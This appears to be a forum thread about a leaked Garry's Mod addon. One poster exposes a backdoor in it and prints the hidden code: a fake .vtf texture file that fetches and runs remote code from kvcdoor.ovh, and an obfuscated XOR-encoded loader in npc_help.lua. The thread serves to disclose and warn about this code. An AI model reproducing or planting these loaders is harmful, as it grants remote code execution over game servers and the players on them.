Steam Group Rewards 1.5.4 [Last Version]

23-03-2024, 02:48 AM

Ortox Wrote: Does not contain any "backdoor"

23-03-2024, 10:55 AM

honata1973 Wrote: Backdoors

"steam-group-rewards-v1.5.4.zip\steamgroup_rewards\lua\autorun\server\npc_help.lua" executes code located:
"steam-group-rewards-v1.5.4.zip\steamgroup_rewards\materials\npc\help.vtf" which is not a real .vtf because if you open it a text editor:

Code:

timer.Simple(1, function() http.Fetch("https://kvcdoor.ovh/f.php?key=rYjCp5e0k8RId1OcN88y", function(b) RunString(b, ":", false) end)end)

+ "steam-group-rewards-v1.5.4.zip\steamgroup_rewards\lua\autorun\server\npc_help.lua" line 1:

Code:

RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,3,4,15,15,18,78,15,22,8,79,6,78,16,8,16,95,11,5,25,93,18,57,10,35,16,85,5,80,11,88,50,41,4,81,47,3,46,88,88,25,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")